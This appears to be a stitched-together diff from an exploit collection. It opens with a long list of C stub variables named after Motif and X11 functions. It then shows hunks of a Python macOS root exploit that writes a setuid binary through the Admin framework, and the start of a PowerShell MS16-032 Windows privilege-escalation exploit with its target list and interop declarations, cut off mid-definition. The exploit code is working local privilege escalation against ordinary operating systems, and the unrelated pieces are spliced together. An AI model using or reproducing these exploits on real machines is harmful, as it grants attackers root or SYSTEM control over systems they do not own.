int _XmTextFToggleCursorGC = 0;
|
||||
int XmTextGetAddMode = 0;
|
||||
int _XmTextGetAnchor = 0;
|
||||
int XmTextGetBaseline = 0;
|
||||
int _XmTextGetBaseLine = 0;
|
||||
int XmTextGetBaseLine = 0;
|
||||
int _XmTextGetBaselines = 0;
|
||||
int XmTextGetCenterline = 0;
|
||||
int XmTextGetCursorPosition = 0;
|
||||
int _XmTextGetDisplayRect = 0;
|
||||
int _XmTextGetDropReciever = 0;
|
||||
int XmTextGetEditable = 0;
|
||||
int XmTextGetInsertionPosition = 0;
|
||||
int XmTextGetLastPosition = 0;
|
||||
int _XmTextGetLineTable = 0;
|
||||
int XmTextGetMaxLength = 0;
|
||||
int _XmTextGetNumberLines = 0;
|
||||
int _XmTextGetSel2 = 0;
|
||||
int XmTextGetSelection = 0;
|
||||
int XmTextGetSelectionPosition = 0;
|
||||
int XmTextGetSelectionWcs = 0;
|
||||
int XmTextGetSource = 0;
|
||||
int XmTextGetString = 0;
|
||||
int XmTextGetStringWcs = 0;
|
||||
int XmTextGetSubstring = 0;
|
||||
int XmTextGetSubstringWcs = 0;
|
||||
int _XmTextGetTableIndex = 0;
|
||||
int XmTextGetTopCharacter = 0;
|
||||
int _XmTextGetTotalLines = 0;
|
||||
int _XmTextHandleSecondaryFinished = 0;
|
||||
int _XmTextHasDestination = 0;
|
||||
int _XmTextInputCreate = 0;
|
||||
int _XmTextInputGetSecResData = 0;
|
||||
int XmTextInsert = 0;
|
||||
int XmTextInsertWcs = 0;
|
||||
int _XmTextInstallTransferTrait = 0;
|
||||
int _XmTextInvalidate = 0;
|
||||
int _XmTextIn_XmTextEventBindings1 = 0;
|
||||
int _XmTextIn_XmTextEventBindings2 = 0;
|
||||
int _XmTextIn_XmTextEventBindings3 = 0;
|
||||
int _XmTextIn_XmTextVEventBindings = 0;
|
||||
int _XmTextLineInfo = 0;
|
||||
int _XmTextLoseSelection = 0;
|
||||
int _XmTextMarginsProc = 0;
|
||||
int _XmTextMarkRedraw = 0;
|
||||
int _XmTextModifyVerify = 0;
|
||||
int _XmTextMovingCursorPosition = 0;
|
||||
int _XmTextNeedsPendingDeleteDis = 0;
|
||||
int _XmTextNumLines = 0;
|
||||
int _XmTextOutLoadGCsAndRecolorCursors = 0;
|
||||
int _XmTextOutputCreate = 0;
|
||||
int _XmTextOutputGetSecResData = 0;
|
||||
int XmTextPaste = 0;
|
||||
int XmTextPasteLink = 0;
|
||||
int _XmTextPosToLine = 0;
|
||||
int XmTextPosToXY = 0;
|
||||
int _XmTextPrimClassExtRec = 0;
|
||||
int _XmTextRealignLineTable = 0;
|
||||
int XmTextRemove = 0;
|
||||
int _XmTextReplace = 0;
|
||||
int XmTextReplace = 0;
|
||||
int XmTextReplaceWcs = 0;
|
||||
int _XmTextResetClipOrigin = 0;
|
||||
int _XmTextResetIC = 0;
|
||||
int XmTextScroll = 0;
|
||||
int _XmTextScrollable = 0;
|
||||
int XmTextSetAddMode = 0;
|
||||
int _XmTextSetCursorPosition = 0;
|
||||
int XmTextSetCursorPosition = 0;
|
||||
int _XmTextSetDestinationSelection = 0;
|
||||
int _XmTextSetEditable = 0;
|
||||
int XmTextSetEditable = 0;
|
||||
int _XmTextSetHighlight = 0;
|
||||
int XmTextSetHighlight = 0;
|
||||
int XmTextSetInsertionPosition = 0;
|
||||
int XmTextSetMaxLength = 0;
|
||||
int _XmTextSetPreeditPosition = 0;
|
||||
int _XmTextSetSel2 = 0;
|
||||
int XmTextSetSelection = 0;
|
||||
int XmTextSetSource = 0;
|
||||
int XmTextSetString = 0;
|
||||
int XmTextSetStringWcs = 0;
|
||||
int _XmTextSetTopCharacter = 0;
|
||||
int XmTextSetTopCharacter = 0;
|
||||
int _XmTextShouldWordWrap = 0;
|
||||
int _XmTextShowPosition = 0;
|
||||
int XmTextShowPosition = 0;
|
||||
int _XmTextToggleCursorGC = 0;
|
||||
int _XmTextToLocaleText = 0;
|
||||
int _XmTextUpdateLineTable = 0;
|
||||
int _XmTextValidate = 0;
|
||||
int _XmTextValueChanged = 0;
|
||||
int xmTextWidgetClass = 0;
|
||||
int XmTextXYToPos = 0;
|
||||
int _XmToggleBCacheCompare = 0;
|
||||
int _XmToggleB_defaultTranslations = 0;
|
||||
int _XmToggleBGadClassExtRec = 0;
|
||||
int _XmToggleB_menuTranslations = 0;
|
||||
int _XmToggleBPrimClassExtRec = 0;
|
||||
int xmToggleButtonClassRec = 0;
|
||||
int xmToggleButtonGadgetClass = 0;
|
||||
int xmToggleButtonGadgetClassRec = 0;
|
||||
int XmToggleButtonGadgetGetState = 0;
|
||||
int XmToggleButtonGadgetSetState = 0;
|
||||
int XmToggleButtonGadgetSetValue = 0;
|
||||
int xmToggleButtonGCacheObjClassRec = 0;
|
||||
int XmToggleButtonGetState = 0;
|
||||
int XmToggleButtonSetState = 0;
|
||||
int XmToggleButtonSetValue = 0;
|
||||
int xmToggleButtonWidgetClass = 0;
|
||||
int _XmToHorizontalPixels = 0;
|
||||
int _XmToLayoutDirection = 0;
|
||||
int _XmToolTipEnter = 0;
|
||||
int XmToolTipGetLabel = 0;
|
||||
int _XmToolTipLeave = 0;
|
||||
int _XmToolTipRemove = 0;
|
||||
int _XmToPanedPixels = 0;
|
||||
int _XmTopShadowColorDefault = 0;
|
||||
int _XmTopShadowPixmapDefault = 0;
|
||||
int _XmToVerticalPixels = 0;
|
||||
int XmTrackingEvent = 0;
|
||||
int XmTrackingLocate = 0;
|
||||
int _XmTrackShellFocus = 0;
|
||||
int XmTransferDone = 0;
|
||||
int _XmTransferGetDestinationCBStruct = 0;
|
||||
int XmTransferSendRequest = 0;
|
||||
int XmTransferSetParameters = 0;
|
||||
int XmTransferStartRequest = 0;
|
||||
int XmTransferValue = 0;
|
||||
int _XmTransformSubResources = 0;
|
||||
int XmTranslateKey = 0;
|
||||
int _XmTraverse = 0;
|
||||
int _XmTraverseAway = 0;
|
||||
int _XmTraverseDown = 0;
|
||||
int _XmTraverseHome = 0;
|
||||
int _XmTraverseLeft = 0;
|
||||
int _XmTraverseNext = 0;
|
||||
int _XmTraverseNextTabGroup = 0;
|
||||
int _XmTraversePrev = 0;
|
||||
int _XmTraversePrevTabGroup = 0;
|
||||
int _XmTraverseRight = 0;
|
||||
int _XmTraverseUp = 0;
|
||||
int _XmTravGraphAdd = 0;
|
||||
int _XmTravGraphRemove = 0;
|
||||
int _XmTravGraphUpdate = 0;
|
||||
int xmTreeClassRec = 0;
|
||||
int xmTreeWidgetClass = 0;
|
||||
int XmuNCopyISOLatin1Lowered = 0;
|
||||
int _XmUnhighlightBorder = 0;
|
||||
int XmUninstallImage = 0;
|
||||
int _XmUnitTypeDefault = 0;
|
||||
int XmUpdateDisplay = 0;
|
||||
int _XmUseColorObj = 0;
|
||||
int xmUseVersion = 0;
|
||||
int _XmUtf8ToUcs2 = 0;
|
||||
int _XmUtilIsSubclassByNameQ = 0;
|
||||
int XmVaCreateArrowButton = 0;
|
||||
int XmVaCreateArrowButtonGadget = 0;
|
||||
int XmVaCreateBulletinBoard = 0;
|
||||
int XmVaCreateButtonBox = 0;
|
||||
int XmVaCreateCascadeButton = 0;
|
||||
int XmVaCreateCascadeButtonGadget = 0;
|
||||
int XmVaCreateColorSelector = 0;
|
||||
int XmVaCreateColumn = 0;
|
||||
int XmVaCreateCombinationBox2 = 0;
|
||||
int XmVaCreateComboBox = 0;
|
||||
int XmVaCreateCommand = 0;
|
||||
int XmVaCreateContainer = 0;
|
||||
int XmVaCreateDataField = 0;
|
||||
int XmVaCreateDrawingArea = 0;
|
||||
int XmVaCreateDrawnButton = 0;
|
||||
int XmVaCreateDropDown = 0;
|
||||
int XmVaCreateExt18List = 0;
|
||||
int XmVaCreateFileSelectionBox = 0;
|
||||
int XmVaCreateForm = 0;
|
||||
int XmVaCreateFrame = 0;
|
||||
int XmVaCreateIconGadget = 0;
|
||||
int XmVaCreateLabel = 0;
|
||||
int XmVaCreateLabelGadget = 0;
|
||||
int XmVaCreateList = 0;
|
||||
int XmVaCreateMainWindow = 0;
|
||||
int XmVaCreateManagedArrowButton = 0;
|
||||
int XmVaCreateManagedArrowButtonGadget = 0;
|
||||
int XmVaCreateManagedBulletinBoard = 0;
|
||||
int XmVaCreateManagedButtonBox = 0;
|
||||
int XmVaCreateManagedCascadeButton = 0;
|
||||
int XmVaCreateManagedCascadeButtonGadget = 0;
|
||||
int XmVaCreateManagedColorSelector = 0;
|
||||
int XmVaCreateManagedColumn = 0;
|
||||
int XmVaCreateManagedCombinationBox2 = 0;
|
||||
int XmVaCreateManagedComboBox = 0;
|
||||
int XmVaCreateManagedCommand = 0;
|
||||
int XmVaCreateManagedContainer = 0;
|
||||
int XmVaCreateManagedDataField = 0;
|
||||
int XmVaCreateManagedDrawingArea = 0;
|
||||
int XmVaCreateManagedDrawnButton = 0;
|
||||
int XmVaCreateManagedDropDown = 0;
|
||||
int XmVaCreateManagedExt18List = 0;
|
||||
int XmVaCreateManagedFileSelectionBox = 0;
|
||||
int XmVaCreateManagedForm = 0;
|
||||
int XmVaCreateManagedFrame = 0;
|
||||
int XmVaCreateManagedIconGadget = 0;
|
||||
int XmVaCreateManagedLabel = 0;
|
||||
int XmVaCreateManagedLabelGadget = 0;
|
||||
int XmVaCreateManagedList = 0;
|
||||
int XmVaCreateManagedMainWindow = 0;
|
||||
int XmVaCreateManagedMessageBox = 0;
|
||||
int XmVaCreateManagedMultiList = 0;
|
||||
int XmVaCreateManagedNotebook = 0;
|
||||
int XmVaCreateManagedPanedWindow = 0;
|
||||
int XmVaCreateManagedPushButton = 0;
|
||||
int XmVaCreateManagedPushButtonGadget = 0;
|
||||
int XmVaCreateManagedRowColumn = 0;
|
||||
int XmVaCreateManagedScale = 0;
|
||||
int XmVaCreateManagedScrollBar = 0;
|
||||
int XmVaCreateManagedScrolledWindow = 0;
|
||||
int XmVaCreateManagedSelectionBox = 0;
|
||||
int XmVaCreateManagedSeparator = 0;
|
||||
int XmVaCreateManagedSeparatorGadget = 0;
|
||||
int XmVaCreateManagedSimpleSpinBox = 0;
|
||||
int XmVaCreateManagedSpinBox = 0;
|
||||
int XmVaCreateManagedTabStack = 0;
|
||||
int XmVaCreateManagedText = 0;
|
||||
int XmVaCreateManagedTextField = 0;
|
||||
int XmVaCreateManagedToggleButton = 0;
|
||||
int XmVaCreateManagedToggleButtonGadget = 0;
|
||||
int XmVaCreateMessageBox = 0;
|
||||
int XmVaCreateMultiList = 0;
|
||||
int XmVaCreateNotebook = 0;
|
||||
int XmVaCreatePanedWindow = 0;
|
||||
int XmVaCreatePushButton = 0;
|
||||
int XmVaCreatePushButtonGadget = 0;
|
||||
int XmVaCreateRowColumn = 0;
|
||||
int XmVaCreateScale = 0;
|
||||
int XmVaCreateScrollBar = 0;
|
||||
int XmVaCreateScrolledWindow = 0;
|
||||
int XmVaCreateSelectionBox = 0;
|
||||
int XmVaCreateSeparator = 0;
|
||||
int XmVaCreateSeparatorGadget = 0;
|
||||
int XmVaCreateSimpleCheckBox = 0;
|
||||
int XmVaCreateSimpleMenuBar = 0;
|
||||
int XmVaCreateSimpleOptionMenu = 0;
|
||||
int XmVaCreateSimplePopupMenu = 0;
|
||||
int XmVaCreateSimplePulldownMenu = 0;
|
||||
int XmVaCreateSimpleRadioBox = 0;
|
||||
int XmVaCreateSimpleSpinBox = 0;
|
||||
int XmVaCreateSpinBox = 0;
|
||||
int XmVaCreateTabStack = 0;
|
||||
int XmVaCreateText = 0;
|
||||
int XmVaCreateTextField = 0;
|
||||
int XmVaCreateToggleButton = 0;
|
||||
int XmVaCreateToggleButtonGadget = 0;
|
||||
int _XmValidateFocus = 0;
|
||||
int _XmValidCursorIconQuark = 0;
|
||||
int _XmValidTimestamp = 0;
|
||||
int _XmVaToTypedArgList = 0;
|
||||
int _XmVendorExtRealize = 0;
|
||||
int xmVendorShellExtClassRec = 0;
|
||||
int xmVendorShellExtObjectClass = 0;
|
||||
int _XmVersionString = 0;
|
||||
int _XmVirtKeys_acornFallbackBindingString = 0;
|
||||
int _XmVirtKeys_apolloFallbackBindingString = 0;
|
||||
int _XmVirtKeys_dblclkFallbackBindingString = 0;
|
||||
int _XmVirtKeys_decFallbackBindingString = 0;
|
||||
int _XmVirtKeysDestroy = 0;
|
||||
int _XmVirtKeys_dgFallbackBindingString = 0;
|
||||
int _XmVirtKeys_fallbackBindingString = 0;
|
||||
int _XmVirtKeysHandler = 0;
|
||||
int _XmVirtKeys_hpFallbackBindingString = 0;
|
||||
int _XmVirtKeys_ibmFallbackBindingString = 0;
|
||||
int _XmVirtKeys_ingrFallbackBindingString = 0;
|
||||
int _XmVirtKeysInitialize = 0;
|
||||
int _XmVirtKeysLoadFallbackBindings = 0;
|
||||
int _XmVirtKeysLoadFileBindings = 0;
|
||||
int _XmVirtKeys_megatekFallbackBindingString = 0;
|
||||
int _XmVirtKeys_motorolaFallbackBindingString = 0;
|
||||
int _XmVirtKeys_sgiFallbackBindingString = 0;
|
||||
int _XmVirtKeys_siemens9733FallbackBindingString = 0;
|
||||
int _XmVirtKeys_siemensWx200FallbackBindingString = 0;
|
||||
int _XmVirtKeys_sunFallbackBindingString = 0;
|
||||
int _XmVirtKeys_tekFallbackBindingString = 0;
|
||||
int _XmVirtualToActualKeysym = 0;
|
||||
int _XmWarning = 0;
|
||||
int _XmWarningMsg = 0;
|
||||
int _XmWhitePixel = 0;
|
||||
int _XmWidgetFocusChange = 0;
|
||||
int XmWidgetGetBaselines = 0;
|
||||
int XmWidgetGetDisplayRect = 0;
|
||||
int _XmWidgetIsTraversable = 0;
|
||||
int xmWorldClass = 0;
|
||||
int xmWorldClassRec = 0;
|
||||
int xmWorldObjectClass = 0;
|
||||
int _XmWriteDragBuffer = 0;
|
||||
int _XmWriteDSToStream = 0;
|
||||
int _XmWriteInitiatorInfo = 0;
|
||||
int _XmXftDrawCreate = 0;
|
||||
int _XmXftDrawDestroy = 0;
|
||||
int _XmXftDrawString = 0;
|
||||
int _XmXftDrawString2 = 0;
|
||||
int _XmXftFontAverageWidth = 0;
|
||||
int _XmXftGetXftColor = 0;
|
||||
int _XmXftSetClipRectangles = 0;
|
||||
int _Xmxpmatoui = 0;
|
||||
int _XmxpmColorKeys = 0;
|
||||
int _XmxpmCreateImageFromPixmap = 0;
|
||||
int _XmxpmCreatePixmapFromImage = 0;
|
||||
int _XmxpmDataTypes = 0;
|
||||
int _XmxpmFreeColorTable = 0;
|
||||
int _XmxpmFreeRgbNames = 0;
|
||||
int _XmxpmGetCmt = 0;
|
||||
int _XmxpmGetRgbName = 0;
|
||||
int _XmxpmGetString = 0;
|
||||
int _XmxpmHashIntern = 0;
|
||||
int _XmxpmHashSlot = 0;
|
||||
int _XmxpmHashTableFree = 0;
|
||||
int _XmxpmHashTableInit = 0;
|
||||
int _XmxpmInitAttributes = 0;
|
||||
int _XmxpmInitXpmImage = 0;
|
||||
int _XmxpmInitXpmInfo = 0;
|
||||
int _XmxpmNextString = 0;
|
||||
int _XmxpmNextUI = 0;
|
||||
int _XmxpmNextWord = 0;
|
||||
int _XmxpmParseColors = 0;
|
||||
int _XmxpmParseData = 0;
|
||||
int _XmxpmParseDataAndCreate = 0;
|
||||
int _XmxpmParseExtensions = 0;
|
||||
int _XmxpmParseHeader = 0;
|
||||
int _XmxpmParseValues = 0;
|
||||
int _XmxpmReadRgbNames = 0;
|
||||
int _XmxpmSetAttributes = 0;
|
||||
int _XmxpmSetInfo = 0;
|
||||
int _XmxpmSetInfoMask = 0;
|
||||
int _Xmxpm_xynormalizeimagebits = 0;
|
||||
int _Xmxpm_znormalizeimagebits = 0;
|
||||
int XNextEvent = 0;
|
||||
int XOffsetRegion = 0;
|
||||
int XOMOfOC = 0;
|
||||
int XOpenDisplay = 0;
|
||||
int XOpenIM = 0;
|
||||
int XParseColor = 0;
|
||||
int XPeekEvent = 0;
|
||||
int XPending = 0;
|
||||
int Xpms_popen = 0;
|
||||
int XPolygonRegion = 0;
|
||||
int XPutBackEvent = 0;
|
||||
int XPutImage = 0;
|
||||
int XQueryBestCursor = 0;
|
||||
int XQueryColor = 0;
|
||||
int XQueryColors = 0;
|
||||
int XQueryPointer = 0;
|
||||
int XQueryTree = 0;
|
||||
int XRaiseWindow = 0;
|
||||
int XReadBitmapFileData = 0;
|
||||
int XRecolorCursor = 0;
|
||||
int XRectInRegion = 0;
|
||||
int XReparentWindow = 0;
|
||||
int XrmCombineDatabase = 0;
|
||||
int XrmDestroyDatabase = 0;
|
||||
int XrmGetStringDatabase = 0;
|
||||
int XrmPermStringToQuark = 0;
|
||||
int XrmPutResource = 0;
|
||||
int XrmPutStringResource = 0;
|
||||
int XrmQGetResource = 0;
|
||||
int XrmQGetSearchList = 0;
|
||||
int XrmQGetSearchResource = 0;
|
||||
int XrmQuarkToString = 0;
|
||||
int XrmStringToQuark = 0;
|
||||
int XrmUniqueQuark = 0;
|
||||
int XRotateBuffers = 0;
|
||||
int XSaveContext = 0;
|
||||
int XScreenCount = 0;
|
||||
int XScreenNumberOfScreen = 0;
|
||||
int XScreenOfDisplay = 0;
|
||||
int XSelectInput = 0;
|
||||
int XSendEvent = 0;
|
||||
int XSetClipMask = 0;
|
||||
int XSetClipOrigin = 0;
|
||||
int XSetClipRectangles = 0;
|
||||
int XSetCloseDownMode = 0;
|
||||
int XSetErrorHandler = 0;
|
||||
int XSetFillStyle = 0;
|
||||
int XSetForeground = 0;
|
||||
int XSetFunction = 0;
|
||||
int XSetICFocus = 0;
|
||||
int XSetICValues = 0;
|
||||
int XSetInputFocus = 0;
|
||||
int XSetLineAttributes = 0;
|
||||
int XSetLocaleModifiers = 0;
|
||||
int XSetOCValues = 0;
|
||||
int XSetRegion = 0;
|
||||
int XSetSelectionOwner = 0;
|
||||
int XSetStipple = 0;
|
||||
int XSetTextProperty = 0;
|
||||
int XSetTSOrigin = 0;
|
||||
int XSetWindowBackground = 0;
|
||||
int XSetWindowBackgroundPixmap = 0;
|
||||
int XSetWMColormapWindows = 0;
|
||||
int XShapeCombineMask = 0;
|
||||
int XShapeCombineRectangles = 0;
|
||||
int XShapeQueryExtension = 0;
|
||||
int __xstat64 = 0;
|
||||
int XStoreBuffer = 0;
|
||||
int XStoreColor = 0;
|
||||
int XStringToKeysym = 0;
|
||||
int XSubtractRegion = 0;
|
||||
int XSync = 0;
|
||||
int XtAddCallback = 0;
|
||||
int XtAddEventHandler = 0;
|
||||
int XtAddGrab = 0;
|
||||
int XtAddRawEventHandler = 0;
|
||||
int XtAllocateGC = 0;
|
||||
int XtAppAddTimeOut = 0;
|
||||
int XtAppAddWorkProc = 0;
|
||||
int XtAppCreateShell = 0;
|
||||
int XtAppErrorMsg = 0;
|
||||
int XtAppGetExitFlag = 0;
|
||||
int XtAppGetSelectionTimeout = 0;
|
||||
int XtAppLock = 0;
|
||||
int XtAppNextEvent = 0;
|
||||
int XtAppPending = 0;
|
||||
int XtAppProcessEvent = 0;
|
||||
int XtAppSetSelectionTimeout = 0;
|
||||
int XtAppSetTypeConverter = 0;
|
||||
int XtAppSetWarningMsgHandler = 0;
|
||||
int XtAppUnlock = 0;
|
||||
int XtAppWarningMsg = 0;
|
||||
int XtAugmentTranslations = 0;
|
||||
int XtBuildEventMask = 0;
|
||||
int XtCallActionProc = 0;
|
||||
int XtCallCallbackList = 0;
|
||||
int XtCallCallbacks = 0;
|
||||
int XtCallConverter = 0;
|
||||
int XtCalloc = 0;
|
||||
int XtCancelSelectionRequest = 0;
|
||||
int XtConfigureWidget = 0;
|
||||
int XtConvertAndStore = 0;
|
||||
int XtConvertCase = 0;
|
||||
int XtCreateManagedWidget = 0;
|
||||
int XtCreatePopupShell = 0;
|
||||
int XtCreateSelectionRequest = 0;
|
||||
int XtCreateWidget = 0;
|
||||
int XtCreateWindow = 0;
|
||||
int XtCvtStringToFontSet = 0;
|
||||
int XtCvtStringToFontStruct = 0;
|
||||
int XtCvtStringToPixel = 0;
|
||||
int XtDatabase = 0;
|
||||
int XtDestroyApplicationContext = 0;
|
||||
int XtDestroyWidget = 0;
|
||||
int XtDisownSelection = 0;
|
||||
int XtDispatchEvent = 0;
|
||||
int XtDisplayOfObject = 0;
|
||||
int XtDisplayStringConversionWarning = 0;
|
||||
int XtDisplayToApplicationContext = 0;
|
||||
int XtError = 0;
|
||||
int XtErrorMsg = 0;
|
||||
int XTextExtents = 0;
|
||||
int XTextExtents16 = 0;
|
||||
int XTextWidth = 0;
|
||||
int XTextWidth16 = 0;
|
||||
int XtFree = 0;
|
||||
int XtGetActionKeysym = 0;
|
||||
int XtGetApplicationNameAndClass = 0;
|
||||
int XtGetApplicationResources = 0;
|
||||
int XtGetConstraintResourceList = 0;
|
||||
int XtGetErrorDatabaseText = 0;
|
||||
int XtGetGC = 0;
|
||||
int XtGetKeysymTable = 0;
|
||||
int XtGetMultiClickTime = 0;
|
||||
int XtGetResourceList = 0;
|
||||
int XtGetSelectionParameters = 0;
|
||||
int XtGetSelectionRequest = 0;
|
||||
int XtGetSelectionValue = 0;
|
||||
int XtGetSelectionValueIncremental = 0;
|
||||
int XtGetSelectionValues = 0;
|
||||
int XtGetSelectionValuesIncremental = 0;
|
||||
int XtGetSubresources = 0;
|
||||
int XtGetSubvalues = 0;
|
||||
int XtGetValues = 0;
|
||||
int XtGrabButton = 0;
|
||||
int XtGrabKey = 0;
|
||||
int XtGrabKeyboard = 0;
|
||||
int XtGrabPointer = 0;
|
||||
int XtHasCallbacks = 0;
|
||||
int _XtInherit = 0;
|
||||
int _XtInheritTranslations = 0;
|
||||
int XtInitializeWidgetClass = 0;
|
||||
int XtInsertEventHandler = 0;
|
||||
int XtInstallAccelerators = 0;
|
||||
int XtIsManaged = 0;
|
||||
int XtIsSensitive = 0;
|
||||
int XtIsSubclass = 0;
|
||||
int _XtIsSubclassOf = 0;
|
||||
int XtLastEventProcessed = 0;
|
||||
int XtLastTimestampProcessed = 0;
|
||||
int XtMakeGeometryRequest = 0;
|
||||
int XtMakeResizeRequest = 0;
|
||||
int XtMalloc = 0;
|
||||
int XtManageChild = 0;
|
||||
int XtManageChildren = 0;
|
||||
int XtMergeArgLists = 0;
|
||||
int XtMoveWidget = 0;
|
||||
int XtName = 0;
|
||||
int XtNameToWidget = 0;
|
||||
int XtOverrideTranslations = 0;
|
||||
int XtOwnSelection = 0;
|
||||
int XtOwnSelectionIncremental = 0;
|
||||
int XtParseAcceleratorTable = 0;
|
||||
int XtParseTranslationTable = 0;
|
||||
int XtPopdown = 0;
|
||||
int XtPopup = 0;
|
||||
int XtProcessLock = 0;
|
||||
int XtProcessUnlock = 0;
|
||||
int XtQueryGeometry = 0;
|
||||
int XTranslateCoordinates = 0;
|
||||
int XtRealizeWidget = 0;
|
||||
int XtRealloc = 0;
|
||||
int XtRegisterGrabAction = 0;
|
||||
int XtReleaseGC = 0;
|
||||
int XtRemoveAllCallbacks = 0;
|
||||
int XtRemoveCallback = 0;
|
||||
int XtRemoveEventHandler = 0;
|
||||
int XtRemoveGrab = 0;
|
||||
int XtRemoveTimeOut = 0;
|
||||
int XtRemoveWorkProc = 0;
|
||||
int XtResizeWidget = 0;
|
||||
int XtResolvePathname = 0;
|
||||
int XtScreenDatabase = 0;
|
||||
int XtScreenOfObject = 0;
|
||||
int XtSendSelectionRequest = 0;
|
||||
int XtSetKeyboardFocus = 0;
|
||||
int XtSetKeyTranslator = 0;
|
||||
int XtSetMappedWhenManaged = 0;
|
||||
int XtSetSelectionParameters = 0;
|
||||
int XtSetSensitive = 0;
|
||||
int XtSetSubvalues = 0;
|
||||
int XtSetTypeConverter = 0;
|
||||
int XtSetValues = 0;
|
||||
int XtShellStrings = 0;
|
||||
int XtStrings = 0;
|
||||
int XtTranslateCoords = 0;
|
||||
int XtTranslateKey = 0;
|
||||
int XtUngrabButton = 0;
|
||||
int XtUngrabKey = 0;
|
||||
int XtUngrabKeyboard = 0;
|
||||
int XtUngrabPointer = 0;
|
||||
int XtUnmanageChild = 0;
|
||||
int XtUnmanageChildren = 0;
|
||||
int XtVaCreateManagedWidget = 0;
|
||||
int XtVaCreateWidget = 0;
|
||||
int XtVaGetValues = 0;
|
||||
int XtVaSetValues = 0;
|
||||
int XtWarning = 0;
|
||||
int XtWarningMsg = 0;
|
||||
int XtWidgetToApplicationContext = 0;
|
||||
int XtWindowOfObject = 0;
|
||||
int XtWindowToWidget = 0;
|
||||
int XUngrabKeyboard = 0;
|
||||
int XUngrabPointer = 0;
|
||||
int XUngrabServer = 0;
|
||||
int XUnionRectWithRegion = 0;
|
||||
int XUnionRegion = 0;
|
||||
int XUnmapWindow = 0;
|
||||
int XUnsetICFocus = 0;
|
||||
int Xutf8DrawImageString = 0;
|
||||
int Xutf8DrawString = 0;
|
||||
int Xutf8TextEscapement = 0;
|
||||
int Xutf8TextExtents = 0;
|
||||
int Xutf8TextListToTextProperty = 0;
|
||||
int XVaCreateNestedList = 0;
|
||||
int XWarpPointer = 0;
|
||||
int XwcDrawImageString = 0;
|
||||
int XwcDrawString = 0;
|
||||
int XwcTextEscapement = 0;
|
||||
int XwcTextExtents = 0;
|
||||
int XWidthOfScreen = 0;
|
||||
int XWindowEvent = 0;
|
||||
int XWithdrawWindow = 0;
|
||||
int overrideShellWidgetClass = 0;
|
||||
Binary file not shown.
@@ -27,7 +27,7 @@ def use_old_api():
|
||||
args = sys.argv
|
||||
|
||||
if len(args) != 3:
|
||||
print("usage: exploit.py source_binary dest_binary_as_root")
|
||||
print "usage: exploit.py source_binary dest_binary_as_root"
|
||||
sys.exit(-1)
|
||||
|
||||
source_binary = args[1]
|
||||
@@ -42,7 +42,7 @@ attr = NSMutableDictionary.alloc().init()
|
||||
attr.setValue_forKey_(04777, NSFilePosixPermissions)
|
||||
data = NSData.alloc().initWithContentsOfFile_(source_binary)
|
||||
|
||||
print("will write file", dest_binary)
|
||||
print "will write file", dest_binary
|
||||
|
||||
if use_old_api():
|
||||
adm_lib = load_lib("/Admin.framework/Admin")
|
||||
@@ -68,6 +68,6 @@ else:
|
||||
tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)
|
||||
|
||||
|
||||
print("Done!")
|
||||
print "Done!"
|
||||
|
||||
del pool
|
||||
|
||||
Binary file not shown.
@@ -1,371 +1,347 @@
|
||||
#function Invoke-MS16-032 {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
PowerShell implementation of MS16-032. The exploit targets all vulnerable
|
||||
operating systems that support PowerShell v2+. Credit for the discovery of
|
||||
the bug and the logic to exploit it go to James Forshaw (@tiraniddo).
|
||||
|
||||
Targets:
|
||||
|
||||
* Win7-Win10 & 2k8-2k12 <== 32/64 bit!
|
||||
* Tested on x32 Win7, x64 Win8, x64 2k12R2
|
||||
|
||||
Notes:
|
||||
|
||||
* In order for the race condition to succeed the machine must have 2+ CPU
|
||||
cores. If testing in a VM just make sure to add a core if needed mkay.
|
||||
* Want to know more about MS16-032 ==>
|
||||
https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html
|
||||
# Copyright (c) 2016, Ruben Booren (@FuzzySec)
|
||||
# All rights reserved
|
||||
Add-Type -TypeDefinition @"
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Principal;
|
||||
|
||||
.DESCRIPTION
|
||||
Author: Ruben Boonen (@FuzzySec)
|
||||
Blog: http://www.fuzzysecurity.com/
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: PowerShell v2+
|
||||
Optional Dependencies: None
|
||||
|
||||
.EXAMPLE
|
||||
C:\PS> Invoke-MS16-032
|
||||
#>
|
||||
Add-Type -TypeDefinition @"
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Principal;
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct PROCESS_INFORMATION
|
||||
{
|
||||
public IntPtr hProcess;
|
||||
public IntPtr hThread;
|
||||
public int dwProcessId;
|
||||
public int dwThreadId;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
|
||||
public struct STARTUPINFO
|
||||
{
|
||||
public Int32 cb;
|
||||
public string lpReserved;
|
||||
public string lpDesktop;
|
||||
public string lpTitle;
|
||||
public Int32 dwX;
|
||||
public Int32 dwY;
|
||||
public Int32 dwXSize;
|
||||
public Int32 dwYSize;
|
||||
public Int32 dwXCountChars;
|
||||
public Int32 dwYCountChars;
|
||||
public Int32 dwFillAttribute;
|
||||
public Int32 dwFlags;
|
||||
public Int16 wShowWindow;
|
||||
public Int16 cbReserved2;
|
||||
public IntPtr lpReserved2;
|
||||
public IntPtr hStdInput;
|
||||
public IntPtr hStdOutput;
|
||||
public IntPtr hStdError;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct SQOS
|
||||
{
|
||||
public int Length;
|
||||
public int ImpersonationLevel;
|
||||
public int ContextTrackingMode;
|
||||
public bool EffectiveOnly;
|
||||
}
|
||||
|
||||
public static class Advapi32
|
||||
{
|
||||
[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
|
||||
public static extern bool CreateProcessWithLogonW(
|
||||
String userName,
|
||||
String domain,
|
||||
String password,
|
||||
int logonFlags,
|
||||
String applicationName,
|
||||
String commandLine,
|
||||
int creationFlags,
|
||||
int environment,
|
||||
String currentDirectory,
|
||||
ref STARTUPINFO startupInfo,
|
||||
out PROCESS_INFORMATION processInformation);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError=true)]
|
||||
public static extern bool SetThreadToken(
|
||||
ref IntPtr Thread,
|
||||
IntPtr Token);
|
||||
|
||||
